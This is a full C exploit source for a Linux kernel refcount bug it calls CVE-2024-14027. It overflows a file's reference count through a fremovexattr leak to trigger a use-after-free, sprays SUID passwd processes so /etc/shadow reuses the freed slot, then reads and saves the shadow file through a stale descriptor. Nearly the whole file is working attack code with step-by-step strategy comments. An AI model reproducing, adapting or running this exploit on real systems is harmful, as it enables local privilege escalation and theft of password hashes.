/* * CVE-2024-14027 Exploit * fremovexattr fdput leak → refcount overflow → UAF → same-type object reuse * Target: Linux 6.6.51 i386 (QEMU, no SMEP/SMAP, no KASLR) * * Strategy: * 1. Create all pipes FIRST (so their struct files don't pollute cpu_slab) * 2. Open target file, dup → f_count = 2 (on current cpu_slab) * 3. clone(CLONE_FILES) for fdget slow path during overflow * 4. Overflow f_count via fremovexattr bug * 5. Fork spawner/closer BEFORE free (no new struct file allocs) * 6. Free via closer+parent+spawner close sequence * 7. Freed struct file stays on cpu_slab per-cpu freelist (key fix!) * 8. passwd spray churns slab → /etc/shadow lands in freed slot * 9. Sacrificial child checks stale fd via stat/inode match → reads shadow * * Monitoring pattern from CVE-2022-22942 (minipli): * - stat() victim file to get dev/ino before exploit * - Fork sacrificial child to probe stale fd (handles kernel oopses) * - Child uses fcntl(F_GETFL) + fstat() + dev/ino compare * - Parent survives oopses, retries with new child * * Compile: gcc -m32 -static -O2 -o exploit exploit.c */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define TARGET_LEAKS 0xFFFFFFFEUL #define SLACK 10000000UL #define NUM_WORKERS 3 #define STACK_SIZE (64 * 1024) #define VICTIM_FILE "/etc/shadow" #define VICTIM_HELPER "/usr/bin/passwd" #define NUM_PROCS 10 extern char **environ; static volatile unsigned long leak_count; static volatile int go; static volatile int stop_workers; static int target_fd; static int dangling_fd; static dev_t victim_dev; static ino_t victim_ino; static inline long fast_fremovexattr(int fd, const void *name) { long ret; __asm__ volatile("int $0x80" : "=a"(ret) : "a"(237), "b"(fd), "c"(name) : "memory"); return ret; } /* ------------------------------------------------------------------ */ /* Leak worker: tight fremovexattr loop */ /* ------------------------------------------------------------------ */ static int leak_worker(void *arg) { unsigned long local = 0; int fd = target_fd; (void)arg; cpu_set_t all; CPU_ZERO(&all); for (int i = 0; i < 4; i++) CPU_SET(i, &all); sched_setaffinity(0, sizeof(all), &all); while (!go) __asm__ volatile("pause"); while (!stop_workers) { fast_fremovexattr(fd, (const void *)0x1UL); local++; if ((local & 0xFFFFF) == 0) __sync_fetch_and_add(&leak_count, 0x100000); } __sync_fetch_and_add(&leak_count, local & 0xFFFFF); _exit(0); return 0; } /* ------------------------------------------------------------------ */ /* idle_fn: keeps fd table shared so fdget takes slow path */ /* ------------------------------------------------------------------ */ static int idle_fn(void *arg) { (void)arg; for (;;) pause(); return 0; } /* ------------------------------------------------------------------ */ /* fd_closer: forked BEFORE free, closes inherited fds to trigger free */ /* ------------------------------------------------------------------ */ static void fd_closer(int ready_fd) { if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) < 0) _exit(1); close(target_fd); close(dangling_fd); write(ready_fd, "R", 1); close(ready_fd); for (;;) pause(); } /* ------------------------------------------------------------------ */ /* passwd_spawner: continuously fork+exec "passwd -S" as root */ /* ------------------------------------------------------------------ */ static void passwd_spawner(int pipe_rd, int pipe_wr, int freed_wr) { char *argv[] = { VICTIM_HELPER, "-S", NULL }; int procs = 0; char ch; if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) < 0) _exit(1); /* Signal ready */ if (write(pipe_wr, "1", 1) <= 0) _exit(1); /* Wait for "go" signal */ if (read(pipe_rd, &ch, sizeof(ch)) <= 0) _exit(1); /* Close our refs to the target file → triggers __fput → slab freed */ close(target_fd); close(dangling_fd); /* Signal parent that we've freed the struct file */ write(freed_wr, "F", 1); close(freed_wr); /* Close stdio to minimize noise */ close(0); close(1); close(2); for (;;) { switch (fork()) { case -1: usleep(1); break; case 0: execve(VICTIM_HELPER, argv, environ); _exit(1); default: procs++; } if (procs >= NUM_PROCS) { if (wait(NULL) > 0) procs--; while (waitpid(-1, NULL, WNOHANG) > 0) procs--; } } } /* ------------------------------------------------------------------ */ /* check_fd: runs in sacrificial child, checks if stale fd is shadow */ /* ------------------------------------------------------------------ */ static void check_fd(void) { const int shadow_flags = O_RDONLY; char buf[64 * 1024]; struct stat sb; int flags; for (;;) { usleep(1); /* passwd opens /etc/shadow with O_RDONLY */ flags = fcntl(dangling_fd, F_GETFL); if (flags < 0 || (flags & O_ACCMODE) != shadow_flags) continue; if (fstat(dangling_fd, &sb) != 0) continue; if (sb.st_dev == victim_dev && sb.st_ino == victim_ino) { ssize_t cnt = pread(dangling_fd, buf, sizeof(buf) - 1, 0); if (cnt > 0) { buf[cnt] = '\0'; /* Write to file first (survives kernel log noise) */ int out = open("/tmp/shadow_dump", O_WRONLY | O_CREAT | O_TRUNC, 0600); if (out >= 0) { write(out, buf, cnt); close(out); } printf("\n\n========================================\n"); printf(" SUCCESS! Read %s via stale fd %d (%zd bytes)\n", VICTIM_FILE, dangling_fd, cnt); printf("========================================\n\n"); printf("%s\n", buf); printf("\n[+] Shadow data also saved to /tmp/shadow_dump\n"); _exit(0); } } } } /* ------------------------------------------------------------------ */ /* Main */ /* ------------------------------------------------------------------ */ int main(void) { pid_t worker_pids[NUM_WORKERS]; pid_t idle_child; setbuf(stdout, NULL); printf("[*] CVE-2024-14027 exploit — PID %d\n", getpid()); printf("[*] Strategy: refcount overflow → UAF → slab reuse polling\n"); printf("[*] SLUB fix: pipes before target → freed slot stays on cpu_slab\n\n"); /* Verify SUID helper exists */ struct stat st; if (stat(VICTIM_HELPER, &st) != 0) { printf("[!] %s not found\n", VICTIM_HELPER); return 1; } if (!(st.st_uid == 0 && (st.st_mode & 04111) == 04111)) { printf("[!] %s is not SUID root (uid=%d mode=%o)\n", VICTIM_HELPER, st.st_uid, st.st_mode); return 1; } printf("[+] %s is SUID root\n", VICTIM_HELPER); /* Gather stat info for victim file (dev/ino for check_fd match) */ { struct stat vsb; if (stat(VICTIM_FILE, &vsb) < 0) { perror("[!] stat(" VICTIM_FILE ")"); return 1; } victim_dev = vsb.st_dev; victim_ino = vsb.st_ino; printf("[+] %s: dev=(%d,%d) ino=%lu\n", VICTIM_FILE, major(victim_dev), minor(victim_dev), (unsigned long)victim_ino); } /* Pin to CPU 0 for consistent SLUB cpu_slab */ cpu_set_t cpu0; CPU_ZERO(&cpu0); CPU_SET(0, &cpu0); sched_setaffinity(0, sizeof(cpu0), &cpu0); /* ---- Phase 1: Create ALL pipes FIRST ---- * These allocate struct files from the filp slab cache. * By doing this BEFORE opening the target file, the target's * struct file will be allocated on whatever cpu_slab page is * current AFTER these allocations. Then no more filp allocs * happen until the target is freed, so the cpu_slab stays put. */ int spawn_pipes[2][2]; int closer_pipe[2]; int freed_pipe[2]; if (pipe(spawn_pipes[0]) < 0 || pipe(spawn_pipes[1]) < 0 || pipe(closer_pipe) < 0 || pipe(freed_pipe) < 0) { perror("[!] pipe"); return 1; } printf("[+] All pipes created (8 struct files allocated from filp cache)\n"); /* ---- Phase 2: Open target file ---- * This struct file goes on the CURRENT cpu_slab. * No more filp allocs will happen until this is freed. */ target_fd = open("/tmp/exploit_target", O_RDWR | O_CREAT | O_TRUNC, 0666); if (target_fd < 0) { perror("[!] open"); return 1; } dangling_fd = dup(target_fd); if (dangling_fd < 0) { perror("[!] dup"); return 1; } printf("[+] target_fd=%d dangling_fd=%d (f_count=2)\n", target_fd, dangling_fd); /* Clone idle child for fdget slow path during overflow */ { void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (stack == MAP_FAILED) { perror("[!] mmap"); return 1; } idle_child = clone(idle_fn, (char *)stack + STACK_SIZE, CLONE_VM | CLONE_FILES | SIGCHLD, NULL); if (idle_child < 0) { perror("[!] clone idle"); return 1; } } /* ---- Phase 3: Overflow f_count ---- */ int fast_mode = (access("/tmp/fast_mode", F_OK) == 0); if (fast_mode) { printf("[*] FAST MODE enabled (/tmp/fast_mode exists)\n"); printf("[*] Doing 100 leaks to verify bug...\n"); for (int i = 0; i < 100; i++) fast_fremovexattr(target_fd, (const void *)0x1UL); printf("[*] f_count should be 102 now.\n"); printf("[*] Calling sync() — GDB: break __do_sys_sync, set f_count = 1\n"); fflush(NULL); sync(); printf("[*] Continuing after GDB intervention...\n"); } else { printf("[*] Spawning %d leak workers...\n", NUM_WORKERS); for (int i = 0; i < NUM_WORKERS; i++) { void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (stack == MAP_FAILED) { perror("[!] mmap"); return 1; } worker_pids[i] = clone(leak_worker, (char *)stack + STACK_SIZE, CLONE_VM | CLONE_FILES | SIGCHLD, NULL); if (worker_pids[i] < 0) { perror("[!] clone worker"); return 1; } } unsigned long target_bulk = TARGET_LEAKS - SLACK; printf("[*] Starting overflow: need %lu leaks (%.2fG)\n", TARGET_LEAKS, TARGET_LEAKS / 1e9); go = 1; __sync_synchronize(); unsigned long last = 0; while (leak_count < target_bulk) { usleep(2000000); unsigned long cur = leak_count; double pct = 100.0 * cur / TARGET_LEAKS; double rate = (cur - last) / 2.0 / 1e6; unsigned long remaining = TARGET_LEAKS - cur; double eta = (rate > 0) ? remaining / (rate * 1e6) : 9999; printf("\r[*] %luM / 4294M (%.1f%%) %.1fM/s ETA %.0fs ", cur / 1000000, pct, rate, eta); last = cur; } stop_workers = 1; __sync_synchronize(); for (int i = 0; i < NUM_WORKERS; i++) waitpid(worker_pids[i], NULL, 0); unsigned long done = leak_count; printf("\n[*] Workers done: %lu leaks.\n", done); if (done < TARGET_LEAKS) { unsigned long remain = TARGET_LEAKS - done; printf("[*] Finishing remaining %lu precisely...\n", remain); for (unsigned long i = 0; i < remain; i++) { fast_fremovexattr(target_fd, (const void *)0x1UL); if ((i & 0xFFFFF) == 0 && i > 0) printf("\r[*] precise: %luM / %luM ", i / 1000000, remain / 1000000); } printf("\r[*] Precise finish done (%luM leaks) \n", remain / 1000000); } else { unsigned long extra = done - TARGET_LEAKS; unsigned long fixup = (0x100000000UL - extra) & 0xFFFFFFFFUL; printf("[*] Workers overshot by %lu, doing %lu fixup leaks...\n", extra, fixup); for (unsigned long i = 0; i < fixup; i++) fast_fremovexattr(target_fd, (const void *)0x1UL); } } /* Kill idle child → files->count drops to 1 → fast-path fdget */ kill(idle_child, SIGKILL); waitpid(idle_child, NULL, 0); printf("[*] Idle child reaped → fast-path fdget (files->count=1)\n"); printf("[+] %s complete. Proceeding to free + spray + poll\n", fast_mode ? "GDB fast-forward" : "Overflow"); /* Phase 4: Fork spawner and closer BEFORE the free */ printf("[*] Forking passwd_spawner...\n"); pid_t spawner_pid = fork(); if (spawner_pid == 0) { close(spawn_pipes[0][1]); close(spawn_pipes[1][0]); close(closer_pipe[0]); close(closer_pipe[1]); close(freed_pipe[0]); passwd_spawner(spawn_pipes[0][0], spawn_pipes[1][1], freed_pipe[1]); _exit(0); } if (spawner_pid < 0) { perror("[!] fork spawner"); return 1; } /* Parent: close spawner's pipe ends */ close(spawn_pipes[0][0]); close(spawn_pipes[1][1]); close(freed_pipe[1]); /* Wait for spawner ready */ char ch; if (read(spawn_pipes[1][0], &ch, 1) != 1) { printf("[!] spawner failed to signal ready\n"); kill(spawner_pid, SIGKILL); return 1; } close(spawn_pipes[1][0]); printf("[+] passwd_spawner ready (PID %d)\n", spawner_pid); /* Fork fd_closer */ pid_t closer_pid = fork(); if (closer_pid == 0) { close(closer_pipe[0]); close(spawn_pipes[0][1]); close(freed_pipe[0]); fd_closer(closer_pipe[1]); _exit(0); } if (closer_pid < 0) { perror("[!] fork closer"); return 1; } close(closer_pipe[1]); /* Wait for closer to finish closing its inherited fds */ char ready; if (read(closer_pipe[0], &ready, 1) != 1) { printf("[!] fd_closer failed to signal ready\n"); kill(closer_pid, SIGKILL); return 1; } close(closer_pipe[0]); /* Parent closes target_fd (keeps dangling_fd for polling) */ close(target_fd); printf("[+] fd_closer done, parent target_fd closed.\n"); /* Signal spawner to go (it will close its fds → trigger free → start spray) */ printf("[*] Signaling spawner: close fds → free struct file → start spray\n"); write(spawn_pipes[0][1], "G", 1); close(spawn_pipes[0][1]); /* Wait for spawner to confirm struct file is freed */ char freed_ch; if (read(freed_pipe[0], &freed_ch, 1) != 1) { printf("[!] WARNING: spawner didn't signal freed (may still work)\n"); } close(freed_pipe[0]); printf("[+] Struct file freed! Spawner starting passwd spray on CPU 0\n"); /* Phase 5: Monitor stale fd in sacrificial subprocess * * Pattern from CVE-2022-22942: fork a child to probe the stale fd. * If the child oopses (kernel NULL deref on stale pointers), only * the child dies — parent survives and forks another. * Child uses fcntl(F_GETFL) + fstat() to match against /etc/shadow * dev/ino before attempting to read. */ printf("[*] Monitoring stale fd %d...", dangling_fd); fflush(NULL); for (;;) { pid_t pid = fork(); int status; switch (pid) { case 0: check_fd(); /* never returns on success (_exit(0)) */ case -1: usleep(10); continue; } if (waitpid(pid, &status, 0) < 0) continue; if (WIFEXITED(status) && WEXITSTATUS(status) == 0) { /* Child found and printed /etc/shadow */ kill(spawner_pid, SIGKILL); kill(closer_pid, SIGKILL); while (waitpid(-1, NULL, WNOHANG) > 0); return 0; } putchar('+'); fflush(NULL); } }